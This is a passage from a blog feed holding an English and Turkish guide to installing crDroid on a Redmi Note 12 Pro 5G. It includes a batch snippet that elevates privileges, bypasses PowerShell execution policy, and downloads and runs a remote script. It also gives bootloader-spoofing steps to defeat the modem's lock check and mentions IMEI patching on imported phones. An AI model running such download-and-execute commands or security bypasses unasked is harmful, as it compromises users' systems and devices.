    net session &lt;span class="p"&gt;&amp;gt;&lt;/span&gt;nul &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="nv"&gt;%errorLevel%&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; 0 &lt;span class="p"&gt;(&lt;/span&gt;
        powershell -executionpolicy bypass start -verb runas '&lt;span class="nv"&gt;%0&lt;/span&gt;' am_admin &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;exit&lt;/span&gt; /b
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;%~dp0&lt;/span&gt;
    PowerShell -executionpolicy bypass -Command &lt;span class="s2"&gt;"(New-Object Net.WebClient).DownloadFile('https://cdn.jsdelivr.net/gh/fawazahmed0/Latest-adb-fastboot-installer-for-windows@master/Latest-ADB-Installerbat', 'adbinstaller.bat')"&lt;/span&gt;
    &lt;span class="k"&gt;cls&lt;/span&gt;
    &lt;span class="k"&gt;call&lt;/span&gt; adbinstaller.bat
    &lt;span class="k"&gt;del&lt;/span&gt; /f adbinstaller.bat &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; nul &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="step-3-flashing-custom-recovery"&gt;Step 3: Flashing Custom Recovery&lt;a class="headerlink" href="#step-3-flashing-custom-recovery" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We install the recovery image to put our phone into recovery mode. On devices with a new-generation virtual A/B partition table like the Redmi Note 12 Pro 5G, there is no separate recovery partition; recovery is written directly inside the boot (&lt;code&gt;boot&lt;/code&gt;) partition. This is why the downloaded file is named &lt;strong&gt;&lt;code&gt;boot.img&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;boot&lt;span class="w"&gt; &lt;/span&gt;boot.img
Sending&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'boot_a'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.117s&lt;span class="o"&gt;]&lt;/span&gt;
Writing&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'boot_a'&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.339s&lt;span class="o"&gt;]&lt;/span&gt;
Finished.&lt;span class="w"&gt; &lt;/span&gt;Total&lt;span class="w"&gt; &lt;/span&gt;time:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;.470s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After the flashing process is complete, we reboot the device directly into recovery mode:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fastboot&lt;span class="w"&gt; &lt;/span&gt;reboot&lt;span class="w"&gt; &lt;/span&gt;recovery
Rebooting&lt;span class="w"&gt; &lt;/span&gt;into&lt;span class="w"&gt; &lt;/span&gt;recovery&lt;span class="w"&gt;                            &lt;/span&gt;OKAY&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.001s&lt;span class="o"&gt;]&lt;/span&gt;
Finished.&lt;span class="w"&gt; &lt;/span&gt;Total&lt;span class="w"&gt; &lt;/span&gt;time:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.002s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The device will turn off and turn back on with the purple/black official crDroid Recovery interface.&lt;/p&gt;
&lt;h3 id="step-4-formatting-data-format-data-factory-reset"&gt;Step 4: Formatting Data (Format Data / Factory Reset)&lt;a class="headerlink" href="#step-4-formatting-data-format-data-factory-reset" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This step is vital to decrypt the partition and perform a clean install.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On the recovery screen that opens, use the volume keys to navigate to &lt;strong&gt;Factory reset&lt;/strong&gt; and select it with the power button.&lt;/li&gt;
&lt;li&gt;Next, enter &lt;strong&gt;Format data/factory reset&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Format data&lt;/strong&gt; on the confirmation screen to start the process.&lt;/li&gt;
&lt;li&gt;When "Data wipe complete" appears at the bottom of the screen, return to the main menu using the back button.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="step-5-flashing-the-rom-file-adb-sideload"&gt;Step 5: Flashing the ROM File (ADB Sideload)&lt;a class="headerlink" href="#step-5-flashing-the-rom-file-adb-sideload" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;On new generation devices with dynamic partitions, instead of dealing with copying files from the computer, we use the most stable method: the &lt;strong&gt;ADB Sideload&lt;/strong&gt; bridge. Make sure your phone is still connected to the computer:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In the main menu on the phone screen, enter &lt;strong&gt;Apply update&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Then select &lt;strong&gt;Apply from ADB&lt;/strong&gt;. The phone will now wait for a file transfer from the computer.&lt;/li&gt;
&lt;li&gt;On your computer, run this command in the terminal inside the &lt;code&gt;platform-tools&lt;/code&gt; folder (type the name of the ROM file or drag-and-drop it):
  &lt;code&gt;bash
  $ adb sideload crDroidAndroid-16.0-20260606-rubyx-v12.10.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Wait for the flashing process to complete. It will show &lt;code&gt;Total xfer: 1.00x&lt;/code&gt; in the terminal or &lt;code&gt;%100&lt;/code&gt; on the phone.&lt;/li&gt;
&lt;li&gt;When flashing is complete, the following question will appear on the phone screen:
   &lt;em&gt;"Install additional packages? You need to reboot recovery first. Do you want to reboot to recovery now?"&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Definitely choose &lt;strong&gt;YES&lt;/strong&gt; here. The phone will automatically restart in recovery mode using the newly installed slot.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="step-6-installing-google-services-gapps-critical-stage"&gt;Step 6: Installing Google Services (GApps - Critical Stage)&lt;a class="headerlink" href="#step-6-installing-google-services-gapps-critical-stage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Do Not Flash Directly!&lt;/p&gt;
&lt;p&gt;If you try to flash the GApps package right after the ROM sideload finishes, you'll get signature and slot errors. This is why you must select &lt;strong&gt;YES&lt;/strong&gt; to the reboot recovery question in the previous step.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;When the device opens in recovery mode again, enter &lt;strong&gt;Apply update -&amp;gt; Apply from ADB&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Send the downloaded GApps file from the terminal on your computer (you can use the &lt;a href="https://nikgapps.com/crdroid-official" rel="noopener noreferrer" target="_blank"&gt;NikGApps crDroid Official&lt;/a&gt; package for GApps):
  &lt;code&gt;bash
  $ adb sideload NikGapps-crdroid-official-arm64-16-signed.zip&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="step-7-optional-root-magisk-installation"&gt;Step 7: Optional Root (Magisk) Installation&lt;a class="headerlink" href="#step-7-optional-root-magisk-installation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you want to root your phone, follow these steps after the GApps installation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go back to the main menu with the back button.&lt;/li&gt;
&lt;li&gt;Restart the recovery one more time with &lt;strong&gt;Advanced -&amp;gt; Reboot to recovery&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Follow the &lt;strong&gt;Apply update -&amp;gt; Apply from ADB&lt;/strong&gt; path again upon startup.&lt;/li&gt;
&lt;li&gt;Send the Magisk zip file from the computer with this command:
  &lt;code&gt;bash
  $ adb sideload Magisk.zip&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="step-8-network-and-baseband-activation-bootloader-spoofing-critical-stage"&gt;Step 8: Network and Baseband Activation (Bootloader Spoofing - Critical Stage)&lt;a class="headerlink" href="#step-8-network-and-baseband-activation-bootloader-spoofing-critical-stage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When you install a custom ROM on the MediaTek-based ruby platform, because the bootloader lock is open, the modem gets caught in the security protocol and does not provide network (baseband version appears as "Unknown"). To bypass this lock, we must spoof the bootloader state as locked:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Put the device back into Fastboot mode either via &lt;code&gt;$ adb reboot bootloader&lt;/code&gt; if the device is on, or by holding &lt;strong&gt;Power + Volume Down&lt;/strong&gt; if it is off, and connect it to the computer.&lt;/li&gt;
&lt;li&gt;Open a terminal in the folder containing the &lt;code&gt;ruby-lk-kaeru.bin.signed.img&lt;/code&gt; and &lt;code&gt;preloader_raw.img&lt;/code&gt; (or &lt;code&gt;preloader_ruby.bin&lt;/code&gt;) files you prepared, and run these commands in order:
  &lt;code&gt;bash
  $ fastboot flash lk_a ruby-lk-kaeru.bin.signed.img
  $ fastboot flash lk_b ruby-lk-kaeru.bin.signed.img
  $ fastboot flash preloader_a preloader_raw.img
  $ fastboot flash preloader_b preloader_raw.img&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When flashing finishes, restart the bootloader with:
  &lt;code&gt;bash
  $ fastboot reboot bootloader&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Once the Fastboot screen returns, activate the bootloader spoofing feature with:
  &lt;code&gt;bash
  $ fastboot oem bldr_spoof on&lt;/code&gt;
&lt;em&gt;(Make sure you see the &lt;code&gt;(bootloader) Bootloader spoofing enabled.&lt;/code&gt; confirmation in the terminal).&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="step-9-restarting-the-system"&gt;Step 9: Restarting the System&lt;a class="headerlink" href="#step-9-restarting-the-system" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Since all operations are complete, we can start the system:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enter this command to restart the device from the terminal:
  &lt;code&gt;bash
  $ fastboot reboot&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first boot will happen with the crDroid animation and might take a bit longer than usual. When the device opens, complete the setup screen, insert your SIM card, and you'll see the network works like a charm.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="possible-errors-and-solutions-edge-cases_1"&gt;🚫 Possible Errors and Solutions (Edge Cases)&lt;a class="headerlink" href="#possible-errors-and-solutions-edge-cases" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Device Continuously Reboots to Recovery (Bootloop):&lt;/strong&gt;
  You might have skipped the &lt;strong&gt;Format Data&lt;/strong&gt; process explained in Step 4 or didn't confirm it by typing &lt;code&gt;yes&lt;/code&gt;. If you go into recovery and repeat the Format Data process, your device will boot up without issues.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GApps Throws an Error During Installation (Error 1):&lt;/strong&gt;
  This means you skipped the rule in Step 6 and tried to flash GApps immediately after the ROM flashed without restarting the recovery. Try rebooting the device into recovery mode and flashing the GApps zip file again.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;"/metadata/ota no such file or directory" Warning During Sideload:&lt;/strong&gt;
  This warning is completely harmless, and there's no need to panic. The OTA folder in the metadata partition gets deleted after the Format Data process, which is why recovery shows this warning. As long as the &lt;code&gt;serving: ...&lt;/code&gt; percentage is progressing on the computer screen, the installation is continuing smoothly; do not unplug the cable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Device Not Appearing in Fastboot Mode (Waiting for Device):&lt;/strong&gt;
  If the &lt;code&gt;fastboot devices&lt;/code&gt; command returns empty or gets stuck in the &lt;code&gt;&amp;lt; waiting for any device &amp;gt;&lt;/code&gt; error, this is caused by missing Windows Fastboot drivers or USB 3.0/Ryzen incompatibility. To update the drivers, enter Device Manager, right-click your device showing a yellow exclamation mark, and select &lt;strong&gt;Update Driver -&amp;gt; Browse my computer for drivers -&amp;gt; Let me pick from a list of available drivers on my computer&lt;/strong&gt;. From there, you can manually select and install the &lt;strong&gt;Android Bootloader Interface&lt;/strong&gt; driver. Also, try using USB 2.0 ports if available instead of blue USB 3.0 ports, or use a USB Hub in between.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SIM Card Inserted but "Mobile Network Unavailable" and "Unknown" Baseband Error:&lt;/strong&gt;
  On this MediaTek processor device, when the bootloader lock is open, the modem disables itself due to the security protocol. Make sure you applied the &lt;strong&gt;Bootloader Spoofing&lt;/strong&gt; steps in Step 8 and received the &lt;code&gt;Bootloader spoofing enabled.&lt;/code&gt; output in the terminal.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Good news, my friend! You are now ready to experience the latest and lightweight crDroid interface on your Redmi Note 12 Pro 5G. If you get stuck anywhere during the installation, feel free to ask.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Ruby is the code-name for the Redmi Note 12 Pro 5G model; rubyx is the common tree name in the custom ROM world that merges the Note 12 Pro 5G, Pro+ 5G, and Discovery models.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;GApps (Google Apps) are packages containing the Google Play Store and associated services.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Magisk is an open-source tool used to root devices without permanently altering system files.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;The &lt;a href="/en/redmi-note-8-pro-custom-rom-kurulumu/"&gt;Redmi Note 8 Pro Custom ROM Installation&lt;/a&gt; guide previously written by Y&amp;uuml;cel Toluyag.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;Special patch files signed by Roger Ortiz that spoof the bootloader status as locked to bypass the modem/baseband lock.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:5" title="Jump back to footnote 5 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="Android"/><category term="Custom ROM"/><category term="crDroid"/><category term="Xiaomi"/><category term="Root"/><category term="Redmi Note 12 Pro"/></entry><entry><title>Redmi Note 12 Pro 5G (ruby) için crDroid Kurulum Rehberi</title><link href="https://yuceltoluyag.github.io/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/" rel="alternate"/><published>2026-06-14T00:22:00+03:00</published><updated>2026-06-14T00:22:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-14:/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/</id><summary type="html">&lt;p&gt;Redmi Note 12 Pro 5G (ruby/rubyx) cihazınıza OrangeFox Recovery kullanarak adım adım crDroid Custom ROM yükleme rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Daha &amp;ouml;nce kendim i&amp;ccedil;in &lt;a href="/redmi-note-8-pro-custom-rom-kurulumu/"&gt;Redmi Note 8 Pro Custom ROM Kurulumu&lt;/a&gt;&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; rehberi haz&amp;inodot;rlam&amp;inodot;&amp;scedil;t&amp;inodot;m. Y&amp;inodot;llar&amp;inodot;n emektar&amp;inodot; Redmi Note 8'imde severek kulland&amp;inodot;&amp;gbreve;&amp;inodot;m crDroid d&amp;uuml;nyas&amp;inodot;na &amp;ouml;yle al&amp;inodot;&amp;scedil;m&amp;inodot;&amp;scedil;t&amp;inodot;m ki, s&amp;inodot;radaki maceran&amp;inodot;n bu kadar "&amp;inodot;slak" olaca&amp;gbreve;&amp;inodot;n&amp;inodot; tahmin etmezdim. &lt;/p&gt;
&lt;p&gt;Olay aynen &amp;scedil;&amp;ouml;yle geli&amp;scedil;ti dostum: E&amp;scedil;im evde temizlik yaparken, bizim ufakl&amp;inodot;k YouTube Kids'deki bir videoya sinirleniyor. H&amp;inodot;rs&amp;inodot;n&amp;inodot; alamay&amp;inodot;p elindeki Redmi Note 12 Pro 5G'yi vileda kovas&amp;inodot;n&amp;inodot;n i&amp;ccedil;ine birka&amp;ccedil; kez g&amp;uuml;zelce bat&amp;inodot;r&amp;inodot;p &amp;ccedil;&amp;inodot;kartarak kendi &amp;ccedil;ap&amp;inodot;nda deneysel bir "suya dayan&amp;inodot;kl&amp;inodot;l&amp;inodot;k testi" ger&amp;ccedil;ekle&amp;scedil;tiriyor ve ard&amp;inodot;ndan telefonu annesine teslim ediyor. Tabii telefon an&amp;inodot;nda nakavt. E&amp;scedil;ime yeni telefon ald&amp;inodot;ktan sonra bu can&amp;inodot;m emektar&amp;inodot; tamir ettirdim ve telefon bana kald&amp;inodot;. &lt;/p&gt;
&lt;p&gt;Ancak cihaz&amp;inodot; a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;mda o abuk subuk reklamlar, kald&amp;inodot;r&amp;inodot;lamayan &amp;ccedil;&amp;ouml;p uygulamalar ve g&amp;uuml;ncelleme almayan o hantal aray&amp;uuml;z (HyperOS) can&amp;inodot;m&amp;inodot; &amp;ouml;yle s&amp;inodot;kt&amp;inodot; ki, "emektar Note 8'deki crDroid keyfini buna da ta&amp;scedil;&amp;inodot;man&amp;inodot;n vakti geldi" dedim. &amp;Idot;&amp;scedil;te bug&amp;uuml;n, o me&amp;scedil;hur ruby&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; kod adl&amp;inodot; cihaz&amp;inodot;m&amp;inodot;za crDroid s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; s&amp;inodot;f&amp;inodot;rdan nas&amp;inodot;l kuraca&amp;gbreve;&amp;inodot;m&amp;inodot;z&amp;inodot; ad&amp;inodot;m ad&amp;inodot;m, kendi uygulad&amp;inodot;&amp;gbreve;&amp;inodot;m y&amp;ouml;ntemle anlat&amp;inodot;yorum.&lt;/p&gt;
&lt;p&gt;MediaTek i&amp;scedil;lemcili cihazlarda custom ROM y&amp;uuml;kleme konusu hep biraz korkutucu g&amp;ouml;r&amp;uuml;n&amp;uuml;r ancak do&amp;gbreve;ru ad&amp;inodot;mlar&amp;inodot; izledi&amp;gbreve;inde s&amp;uuml;re&amp;ccedil; asl&amp;inodot;nda olduk&amp;ccedil;a basittir. Bu rehberi sonuna kadar takip edersen, cihaz&amp;inodot;n&amp;inodot; HyperOS hantall&amp;inodot;&amp;gbreve;&amp;inodot;ndan kurtar&amp;inodot;p ya&amp;gbreve; gibi akan bir crDroid deneyimine kavu&amp;scedil;turacaks&amp;inodot;n.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Veri Kayb&amp;inodot; Uyar&amp;inodot;s&amp;inodot;&lt;/p&gt;
&lt;p&gt;Bu i&amp;scedil;lemler s&amp;inodot;ras&amp;inodot;nda cihaz&amp;inodot;ndaki t&amp;uuml;m veriler tamamen silinecektir. Foto&amp;gbreve;raflar&amp;inodot;n&amp;inodot;, yedeklerini ve &amp;ouml;nemli dosyalar&amp;inodot;n&amp;inodot; bilgisayar&amp;inodot;na aktard&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin ol. Ayr&amp;inodot;ca bu i&amp;scedil;lemler cihaz&amp;inodot;n&amp;inodot; garanti d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakabilir. Sorumluluk tamamen sana aittir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Yurt D&amp;inodot;&amp;scedil;&amp;inodot; (&amp;Idot;&amp;scedil;lemli) Cihazlar ve EFS / NVRAM Uyar&amp;inodot;s&amp;inodot;&lt;/p&gt;
&lt;p&gt;Sanal A/B b&amp;ouml;l&amp;uuml;m tablosuna sahip MediaTek cihazlarda temiz kurulum (Format Data) esnas&amp;inodot;nda veya ROM ge&amp;ccedil;i&amp;scedil;lerinde, cihaz&amp;inodot;n &amp;scedil;ebeke kalibrasyon ve donan&amp;inodot;m kimlik dosyalar&amp;inodot;n&amp;inodot; bar&amp;inodot;nd&amp;inodot;ran &lt;strong&gt;EFS, NVRAM ve NVDATA&lt;/strong&gt; b&amp;ouml;l&amp;uuml;mleri s&amp;inodot;f&amp;inodot;rlanabilir. Bu nedenle:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Yedekleme:&lt;/strong&gt; &amp;Idot;&amp;scedil;lemlere ba&amp;scedil;lamadan &amp;ouml;nce cihaz&amp;inodot;n&amp;inodot;zda &lt;strong&gt;TWRP veya OrangeFox&lt;/strong&gt; gibi geli&amp;scedil;mi&amp;scedil; bir recovery &amp;uuml;zerinden bu b&amp;ouml;l&amp;uuml;mlerin yede&amp;gbreve;ini (Backup) al&amp;inodot;p bilgisayar&amp;inodot;n&amp;inodot;za kaydetmeniz &amp;ouml;nerilir. crDroid Recovery yedek almay&amp;inodot; desteklemez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yurt D&amp;inodot;&amp;scedil;&amp;inodot; Cihazlar:&lt;/strong&gt; E&amp;gbreve;er elindeki cihaz yurt d&amp;inodot;&amp;scedil;&amp;inodot; versiyonuysa ve yaz&amp;inodot;l&amp;inodot;msal yollarla &amp;scedil;ebeke aktivasyonu (IMEI i&amp;scedil;lemi) yap&amp;inodot;lm&amp;inodot;&amp;scedil;sa, Format Data veya ROM y&amp;uuml;kleme ad&amp;inodot;mlar&amp;inodot; bu yaz&amp;inodot;l&amp;inodot;msal yamay&amp;inodot; s&amp;inodot;f&amp;inodot;rlayacak ve cihaz&amp;inodot; fabrikasyon ayarlar&amp;inodot;na geri d&amp;ouml;nd&amp;uuml;recektir. Kurulumu ba&amp;scedil;ar&amp;inodot;yla tamamlasan&amp;inodot;z ve bootloader spoofing yapsan&amp;inodot;z dahi &amp;scedil;ebekenizin tekrar aktif olmas&amp;inodot; i&amp;ccedil;in mutlaka bir telefoncuya gidip yama i&amp;scedil;lemini yeniletmeniz gerekecektir, aksi takdirde &amp;scedil;ebeke &amp;ccedil;al&amp;inodot;&amp;scedil;mayacakt&amp;inodot;r. Bu s&amp;uuml;recin en sorunsuz yolu resmi, BTK onayl&amp;inodot; T&amp;uuml;rkiye lisansl&amp;inodot; cihazlarda uygulanmas&amp;inodot;d&amp;inodot;r. E&amp;gbreve;er yurt d&amp;inodot;&amp;scedil;&amp;inodot; cihazda bu rehberi uygulayacaksan&amp;inodot;z, harici olarak b&amp;ouml;yle bir teknik servis masraf&amp;inodot;n&amp;inodot;n &amp;ccedil;&amp;inodot;kaca&amp;gbreve;&amp;inodot;n&amp;inodot; en ba&amp;scedil;tan bilmeniz gerekir.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="kurulum-oncesi-hazrlklar"&gt;🛠️ Kurulum &amp;Ouml;ncesi Haz&amp;inodot;rl&amp;inodot;klar&lt;a class="headerlink" href="#kurulum-oncesi-hazrlklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;lemlere ba&amp;scedil;lamadan &amp;ouml;nce bilgisayar&amp;inodot;m&amp;inodot;zda ve telefonumuzda baz&amp;inodot; ara&amp;ccedil;lar&amp;inodot;n haz&amp;inodot;r olmas&amp;inodot; gerekiyor:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Unlocked Bootloader:&lt;/strong&gt; Cihaz&amp;inodot;n&amp;inodot;n bootloader kilidi a&amp;ccedil;&amp;inodot;k olmal&amp;inodot;d&amp;inodot;r. Kilit a&amp;ccedil;&amp;inodot;k de&amp;gbreve;ilse custom ROM y&amp;uuml;kleyemezsin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform Tools:&lt;/strong&gt; Bilgisayar&amp;inodot;nda ADB ve Fastboot komutlar&amp;inodot;n&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;abilmesi i&amp;ccedil;in s&amp;uuml;r&amp;uuml;c&amp;uuml;lerin kurulu olmas&amp;inodot; gerekir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dosyalar:&lt;/strong&gt; A&amp;scedil;a&amp;gbreve;&amp;inodot;daki dosyalar&amp;inodot; bilgisayar&amp;inodot;na indirip haz&amp;inodot;rlamal&amp;inodot;s&amp;inodot;n:&lt;ul&gt;
&lt;li&gt;Redmi Note 12 Pro 5G uyumlu &lt;strong&gt;crDroid ROM zip&lt;/strong&gt; dosyas&amp;inodot;. Dosyalar&amp;inodot; resmi &lt;a href="https://crdroid.net/rubyx" rel="noopener noreferrer" target="_blank"&gt;crDroid.net/rubyx&lt;/a&gt; sayfas&amp;inodot;ndan indirebilirsin (&amp;Idot;ndirirken&lt;code&gt;rubyx&lt;/code&gt; ortak kod ad&amp;inodot;n&amp;inodot; ta&amp;scedil;&amp;inodot;yan dosyay&amp;inodot; se&amp;ccedil;ti&amp;gbreve;inden emin ol).&lt;/li&gt;
&lt;li&gt;Cihaz&amp;inodot;na uyumlu &lt;strong&gt;crDroid Recovery (&lt;code&gt;boot.img&lt;/code&gt;)&lt;/strong&gt; dosyas&amp;inodot;. (Sanal A/B yap&amp;inodot;s&amp;inodot; nedeniyle recovery do&amp;gbreve;rudan &amp;ouml;ny&amp;uuml;kleme b&amp;ouml;l&amp;uuml;m&amp;uuml;ndedir).&lt;/li&gt;
&lt;li&gt;Google servislerini kullanmak istiyorsan ROM s&amp;uuml;r&amp;uuml;m&amp;uuml;ne uygun &lt;strong&gt;GApps&lt;/strong&gt; paketi&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;(&amp;Idot;ste&amp;gbreve;e ba&amp;gbreve;l&amp;inodot;) Root yetkisi istiyorsan &lt;strong&gt;Magisk zip&lt;/strong&gt; dosyas&amp;inodot;&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;&amp;Scedil;ebeke ve Anabant (Baseband) aktivasyonu i&amp;ccedil;in &lt;strong&gt;Bootloader Spoofing dosyalar&amp;inodot;&lt;/strong&gt;:&lt;code&gt;ruby-lk-kaeru.bin.signed.img&lt;/code&gt; ve&lt;code&gt;preloader_raw.img&lt;/code&gt; (veya&lt;code&gt;preloader_ruby.bin&lt;/code&gt;)&lt;sup id="fnref:5"&gt;&lt;a class="footnote-ref" href="#fn:5"&gt;5&lt;/a&gt;&lt;/sup&gt;. Bunlar&amp;inodot; &lt;a href="https://drive.google.com/drive/folders/1kSbwkNFpNVxVgadq-oOEmCSmMPY_GBID?usp=sharing" rel="noopener noreferrer" target="_blank"&gt;Google Drive&lt;/a&gt; klas&amp;ouml;r&amp;uuml;nden temin edebilirsin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
